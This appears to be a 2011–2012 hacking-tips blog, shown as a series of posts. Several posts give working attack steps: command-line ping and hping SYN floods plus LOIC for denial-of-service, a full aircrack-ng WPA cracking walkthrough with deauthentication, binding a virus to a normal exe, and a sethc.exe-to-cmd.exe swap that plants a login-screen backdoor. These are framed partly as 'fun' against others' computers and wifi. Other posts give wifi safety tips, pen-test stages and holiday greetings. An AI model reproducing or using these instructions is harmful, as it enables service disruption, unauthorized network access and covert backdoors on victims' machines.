Diffrent Ways to DOS ATTACK

Wednesday, 25 January 2012

DOS ATTACK  <=>    Denial-of-service attack

What is Dos Attack ?
A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users


A DoS attack can be perpetrated in a number of ways. The five basic types of attack are:

* Consumption of computational resources, such as bandwidth, disk space, or processor time.
** Disruption of configuration information, such as routing information.
** Disruption of state information, such as unsolicited resetting of TCP sessions.
*** Disruption of physical network components.
****Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.

A DoS attack may include execution of malware intended to

* Max out the processor's usage, preventing any work from occurring.
** Trigger errors in the microde of the machine.
*** Trigger errors in the sequencing of instructions, so as to force the computer into an unstable state or lock-up.
**** Exploit errors in the operating system, causing resource starvation and/or thrashing, i.e. to use up all available facilities so no real work can be accomplished.
***** Crash the operating system itself                              [Wikipedia help]


  • How To Put a DOS ATTACK In Different Ways

    Heres' the SECRET

    First Method :: DOS Attack by CMD (command prompt)

    open ur cmd (window key + r)

    then type nslookup for the website ip

    for eg. nslookup www.google.co.in

    after finding the ip now ready for dos attack

    type in command
    ping website-IP -l 65500 -n 10000000 -w 0.00001

    -n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desiredvalue u want to attempt attack.

    website-IP= Replace the text with the ip address of the site u want to be attacked..

    -w 0.00001 = It is the waiting time after one ping attack.

    for eg: if the ip address is 112.158.10.2

    just type

    ping 112.158.10.2 -l 65500 -n 10000000 -w 0.00001


    Dos attack with backtrack ::
    Open ur konsole and type these method and ur done


    Step *
    host (website name )   [get the ip address of website]

    Step **
    hping -i u100 -S -p 80 (ipaddress of website)


    Dos attack with LOIC Software

    All the above method are manual method :: now here goes a software name call LOIC

    Loic is a tool used for DDOS (distributed denial-of-service) attack on a website!

    To download the LOIC software => Click on me


    Note ::  Dos attack can be done or they are just effective for the small website :: do not put dos attack on big website it will not work :: or try to have 40 to 50 computers to put dos attack on big website and never put dos attacks on google, yahoo, bing :: these big website u will be caught and no use will be made of ur dos attack ::


    Now fun with Dos attack

    ** Put dos attack on some ones computer ip his computer internet gets slow :: even computer also gets hang ::

    ** Put Dos attack on some ones wifi (BSSID) :: wifi connection speeds gets slow and the all the person using wifi gets low or very slow speed of internet ::


    Do all hackings and tricks for ethical use

    With regards
    Pprasoon nigam
    Join me for more tricks and free help and get job part time to full time => Click on me

HAPPY REPUBLIC DAY






Our life is full of colors and I hope this 26th January will add more colors in ur life.
Happy Republic Day
******************************************
Freedom is not worth having if it does not include the freedom to make mistakes.
Happy Republic Day
******************************************
Let us remember the golden heritage of
our country and feel proud to be a part of India.
HAPPY REPUBLIC DAY
*************************************************************
Aao jhuk kar salam kare unko,
jinke hisse me ye mukam aata hai,
khusnasib hota hai wo khoon
jo desh ke kaam aata hai,
"HAPPY REPUBLIC DAY"
*********************************************
Watan hamara aisa koi na chhod paaye,
Rishta hamara aisa koi na tod paaye,
Dil ek hai ek jaan hai hamari,
Hindustan hamara hai hum iski shaan hain.
Happy Republic Day


Safe ur WIFI from being hacked

Thursday, 19 January 2012

How to know who is stealing/using/hacked ur WIFI and internet

U have studied how to hack a wifi :: to know how to hack wifi => Click on me

HERES' THE SECRET

*  A Simple method :: CHECK UR WIRELESS ROUTER LIGHTS

                     Your wireless router should have indicator lights that show Internet connectivity, hardwired network connections, and also any wireless activity, so one way you can see if anyone's using your network is to shut down all wireless devices and go see if that wireless light is still blinking.

**  Second method :: CHECK UR WIRELESS ROUTER DEVICE LIGHTS

                       Your router's administrative console can help you find out more about your wireless network activity and change your security settings.
Goto ur device list :: It should provide a list of IP addresses, MAC addresses, and device names (if detectable) that you can check against. Compare the connected devices to your gear to find any unwanted users.


Now how to keep you Wifi safe from being hacked

Don't let strangers use your network

Password-protect your wireless connection. Turn on WEP (wired equivalency privacy) or WPA (Wi-Fi protected access) on all of your devices, including your router, your media center, and your Microsoft Xbox entertainment system.

* Make your password unique
** Have WPA2 password encryption which has best security and high too

Move your wireless router

Place the wireless access point away from windows and near the center of your house to decrease the signal strength outside of the intended coverage area.

Defend your computer

Keep all software current (including your web browser) with automatic updates. Make sure that your firewall is turned on and use antivirus and antispyware software from a source that you trust

Keep Your Logins Secure. It’s easy to disable the feature in your browser that automatically types in log-ins and passwords. In a public place do so as a best practice

Avoid Using Internet Explorer.

Sorry Microsoft, but one of the big reasons people gravitate to browsers like Firefox, Opera and Safari is that they are simply less of a target for hackers, and also have fewer exposed vulnerabilities that can be exploited.


Check the internet/downloading speed


when u r downloading something see download if its low :: may be ur wifi is being used by other
and best way to check a online test of internet speed

To check ur speed => Click on me



Download backtrack O.S

Friday, 13 January 2012

Download Backtrack all version

Here are the links to backtrack O.S with maximum seeds so that u can download easily ::

Backtrack 3 => Click on me

Backtrack 4 => Click on me

Backtrack 4 r1 => Click on me

Backtrack 4 r2 => Click on me

Backtrack 5 => Click on me

Backtrack 5 r1 => Click on me

Backtrack 5 r2 => Click on me

Backtrack 5 r3 BlackHat Edition => Click on me
                                                           Click on me

To make backtrack boot-able Pen-drive => Click on me

How to  hack wifi :: Wifi hacking with backtrack
=>  Click on me

Wifi Hacking

Saturday, 7 January 2012

Ok now how to hack some ones wifi with the help of  BACKTRACK

Heres' the SECRET

Make a backtrack boot-able pen-drive :: Now how to make bootable backtrack pendrive => Click on me

after making backtrack bootable pendrive

insert the pendrive and open ur BACKTRACK in ur laptop :: Y laptops beacause laptops has wifi card (hardware) and software in it ::

***************************
Now hack WIFI with GERIX software in BACKTRACK => Click on me :))
*********************************
Now open 3 things in backtrack

1st konsole
2nd konsole
and a notepad to copy paste some items

You must know some words what they do

wireless key - security key
essid - network name
ifconfig - Enables your wireless device
iwlist - lists available access points
iwconfig - configuring wireless connection
dhclient - to get an ip address via DHCP

IMP Note :: use space, lowercase, uppercase and spellings in right way then only commands will work ::

Now here are the steps to attack and get wifi password

Open ur 1st konsole and type in

airmon-ng (press enter)
airmon-ng start wlan0 (0 is zero) (press enter)
airodump-ng mon0 (0 is zero)

You can see bssid and stations (know as client mac)

now press ctrl+c for break

now copy the bssid and station into the notepad

after copying it type this command in 1st konsole

airodump-ng -w capture --bssid (paste the bssid u copied) -c (channel no.) mon0 (0 is zero)

after the packets has been sent to around 10,000 or 20,000

most imp part we have to do handshake with wifi :: for handshake

open 2nd console type in

aireplay-ng --deauth 1 -a (paste the bssid) -c (paste the station) mon0

a handshake will be shown on 1st konsole

now go back to the 1st knosole

press ctrl+c

then type

aircrak-ng capture -01.cap -w ./wordlist.lst (press enter)

and vollllaaaa  here we go we have got the password of the wifi

Now here is the best video tutorial demonstrated
To download the Video => ClicK one me

For any query please mail = fraternity.contacts@gmail.com

Please use this for legal purpose only ::  its for education do not try on any ones wifi illegally ::

Soon i will be posting how to be safe from wifi hacking and even who is connected to ur wifi illegally :)

How to keep ur wifi safe => Click on me


***********************(~_^)*********************
Hack WIFI with the Help of GUI version in Backtrack => Click on me :))

How To Make backtrack & Windows bootable PENDRIVE

How to make pen-drive boot-able for Backtrack and Windows

Heres' the SECRET

To make Windows operating system bootable  Go to this Link => Click on me

To make a Backtrack bootable pendrive

Here is the SECRET

Use a software name call UNetBootin

To download the software => Click on me

How to make this software work ?
Download BACKTRACK O.S
To Download BACKTRACK Click on the following link

Backtrack 3 => Click on me

Backtrack 4 => Click on me

Backtrack 4 r1 => Click on me

Backtrack 4 r2 => Click on me

Backtrack 5 => Click on me

After downloading the image file of any Backtrack O.S from the above ..
Open the software name UNETBOOTIN

U will see a option name given "Diskimage" and then select the image file (.iso file) of the backtrack u have downloaded

then there will be a option name 'Type" ::  in this select the pendrive or the usb or the memory card to make bootable backtrack .. (We are installing files of backtrack in the drives)

To be more clear here is video tutorial => Click on me

After making a bootable pendrive reboot
Goto your BIOS and then go to the option  boot and select "usb" as your first priority

then press F10 and save ok

and volla its done


Many of you them will be getting problem that backtrack is not opening
GUI is not coming of the backtrack

Send mail on fraternity.contacts@gmail.com
  
                 OR

you have to type two commands first command is fixvesa
and another command is startx

TO recover all your problems here the video tutorial how to get GUI interface

To see the video tutorial => Click on me

HAPPY NEW YEAR

Saturday, 31 December 2011

 HAPPY NEW YEAR :: WISH U A VERY VERY HAPPY NEW AND B SAFE ON INTERNET


                                                              HAPPY HACKING :)




Stages of a Penetration Test

Friday, 30 December 2011

Heres' the Secret

It for most penetration tests these are the main stages that will take place in order, each stages has a higher level of access and control over the system.

- Information Gathering: This is using non intrusive techniques to gather as much information as you can on the target network. Such as crawling the internet webpages, using whois lookups, looking at company adverts and news.

- Network Mapping:
 This is a more technical approach to gaining more information on the system, here you will map all live hosts on the network and on the server. Scan the ports and services. Identify the operating systems, identify firewalls, switches and routers, fingerprint services and map out what is available publically over the internet and what services are interal only.

- Vulnerability Identification: This is where we will identify vulnerable services and systems. We will do this by using the service banners we attained in the previous phase. We will also perform vulnerability scans for known vulnerabilities and check for false positives. Once we discover vulnerabilities we enumerate these further and estimate the impact and privellages gained from the vulnerability. From here we can plan our attack path and scenario.

- Penetration: This is where we will find tools, scripts and exploits that will help us gain access by exploiting the vulnerabilities in the previous stage. We can also develop our own tools and scripts to exploit these vulnerabilities. Also in this stage we will optimise and customise any scripts we have so that they will work in this scenerio, it is very common that we will have to modify exploits to work in the current scenario. Once we have all our tools we can test the proof of concept and see if they work with the vulnerabilities so we can eliminate false positives. At the end of this stage we can document our findings and the possible impact of these exploits.

- Gaining Access:
 Here we will attempt to gain some sort of access to the target system, starting with low privellage access such as finding blank or default passwords in system accounts, brute forcing user accounts, and finding public services with poor configurations allowing us to read and write files for example. Here we also use our tools from the previous phase to gain what access we can.

- Privellage Escallation: It is likely that we have low access on the system and cannot complete our goal yet due to incorrect privellages. In this stage we can identify local vulnerabilities that can help us get administrator or root privellages over the system such as 'root' on unix systems and 'system' on Windows systems. Here we will have to bypass the systems internal antivirus and firewall systems. We can search for known exploits based on the findings of the internal services we have found or we can attempt to write our own.

- Enumerating Further: Now we are inside the network and can see many systems that weren't accessable from the outside. Here we can obtain the stored hashes on the current system and decrypt them to see if they work on any other network systems. We can also identify all other hosts, services, firewalls, routers and switches on the network and test if they are vulnerable as done in the previous stages. We can also sniff local traffic and attempt to get more passwords to compromise other systems. Other techniques that are used in this phase are gathering important data on the local system such as cookies and browsing history to attempt password attacks on exterior web pages. We can also gather email accounts that could enable us to perform phishing attacks on other uses in the network. Also we could execute client side attacks on other network users to compromise their system with a little social engineering.

- Compromising other Users/Systems: Here we put all the information found in the previous section to use and gain as much access as we can over the network. It is common to find many vulnerabilities here as often companies don't think they need to secure the local network as they do not think anyone can access it.

- Maintaining Access: This is where you setup a permanent method of accessing the system so you don't have to exploit it every time you want to access it. Also this could give you access even after the vulnerability was patched. There are number of methods of doing this. You could setup a backdoor on the system that you can connect to and feed commands to, simillar to a system shell. This is usually done by opening up a port on the system and allowing access by a user and password, it is important the backdoor has authentication otherwise anyone could have access to the system. Rootkits can be installed these have the highest privellages on a system even higher than the system administrator. You can also setup covert channels such as http-tunnels, icmp-tunnels and vpn tunnels which allows you to send and receive data to and from the target system undetected.

- Covering Tracks: This is where you do all you can to remain undetected on the system so you can keep access for as long as possible, here you hide files used to exploit the system and that may raise suspisions. You also should clear the logs files or alter them so the attack logs are not there. You can also disable antiviruses and IDS to prevent them from finding your backdoor/rootkit.

- Reporting:
 This is where you write your report on your findings, you must make sure you tailor your report to the skills of who will receive it, such as the developer must have detailed information on how to patch, or if it was the manager he may not have vast IT knowledge so it must be basic details with colourful graphs and images. You must include the summary of the attack, the impact, the tools used, the services that are vulnerable, the systems compromised, the information that was gathered, screenshots, dates and times of the tests, outputs of all the scans, and the next steps to work on to fix the system.

Binders

Thursday, 29 December 2011

What is binders ?
A binder binds two things into one :: for example say i bind a virus to a notepad.exe
so when person open it up :: it opens notepad as soon as it closes the notepad the virus behind the notepad.exe will be activated.
you can bind any virus to an exe of the software

Now how to do it

Heres' the SECRET

there are two ways to do it

one with software which is in built in window XP/vista/7

* Which is known as iexpress

Open run command (windows key + R)

type in there iexpress and press enter

** Another is software namely file joiner

and here is another software download it => Click on me

Backdoor for Windows XP & 7

Thursday, 1 December 2011

What is Backdoor ?

I tell you this question answer in layman's language as the name suggest backdoor which means the door at the back ::
Backdoor is the way created in windows xp and 7 to get inside the computer even it is password protected account ::
Say like this i have created a hidden backdoor in your house and you have put a lock in front gate of your house so i use my backdoor to enter into your house
In the same way i will make a hidden backdoor in your window xp or 7 so that if any time there is password to the account i can easily manage to enter the account with help of backdoor 


What We are  Doing ?

We are just changing the sticky keys into cmd (command prompt)
When a login page comes with password protection just :: click your shift key 5 times instead of opening sticky key command prompts open ups.

*************************
MAKE BACKDOOR HELP OF BACKTRACK TERMINAL => Click on me :))

**********************************

Now how to put a backdoor in Window XP and 7


Heres' the SECRET

How to make backdoor in Window XP

Just copy the cmd.exe from  C:\windows\system32

Now here is the step wise to do it
*Go to C:\windows\system32
** Copy cmd.exe on your desktop and rename it to sethc.exe .
***Now copy that file and paste again in system32 directory.

Here is the Video tutorial => videos will be available after some time


Now basically what we are do is we changing/replacing  sticky keys with cmd (command prompt)
so that when you open the computer and password protected login screen click five times on shift and boom command prompts opens


How to make backdoor in window 7
* Go to C:\windows\system32
** Copy cmd.exe on your desktop and rename it to sethc.exe .
***Now copy that file and paste again in system32 directory.

Now will have the problem of ACCESS DENIED

now here is two ways to remove the problem of ACCESS DENIED

First method => change operating system from window 7 to windows xp.... ( haha :))

Second method is

* Right click on sethc.exe and run as administrator.
** Again right click on sethc.exe, open properties.
*** Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.
**** Then click on 'Edit' in security tab to edit permissions.
***** Click on 'Administrators' , give it full control
****** Apply changes.



Here is video tutorial => videos will be available after some time